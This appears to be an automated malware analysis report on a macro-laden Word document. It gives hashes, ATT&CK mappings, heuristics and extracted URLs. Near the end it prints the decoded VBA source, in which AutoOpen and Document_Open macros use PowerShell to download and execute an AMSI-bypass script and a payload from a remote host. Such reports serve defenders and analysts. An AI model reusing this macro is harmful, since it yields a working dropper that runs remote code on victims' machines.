Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8b44e4fa7ef6b6a3…

MALICIOUS

Office (OOXML)

15.3 KB Created: 2021-07-07 12:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: 265bbd09c49226cca9fdfe2ca810bc13 SHA-1: 7a997d8bad4f0693334643fd43a1f0d96642cf6b SHA-256: 8b44e4fa7ef6b6a338dae6aceba511e3125e5fb7f7bb88b63d6c3db3707fe067
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros that automatically execute upon opening the document. The AutoOpen and Document_Open macros call a function that uses Internet을(를) WebRequest (IWR) to download and execute two PowerShell scripts from the IP address 10.145.0.230. The first script likely bypasses AMSI, and the second script is the main payload. This indicates a macro-based downloader designed to fetch and execute further malicious content.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.145.0.230/amsi_bypass.ps1 In document text (OOXML body / shared strings)
    • http://10.145.0.230/payload.ps1In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 568 bytes
SHA-256: 1da4ec34f6a65b0f67ea4fa9efc116667f55d6df85930fbe75f088403bc695e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function rsh()
Shell ("IWR http://10.145.0.230/amsi_bypass.ps1 -UsebasicParsing | IEX; IWR http://10.145.0.230/payload.ps1 -UsebasicParsing | IEX;")

End Function


Sub Document_Open()
    rsh
End Sub

Sub AutoOpen()
    rsh
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 2bcbfc6ab774814bec7eb9e1c01beda025d413e4f80cc46f845a1cbbc6979017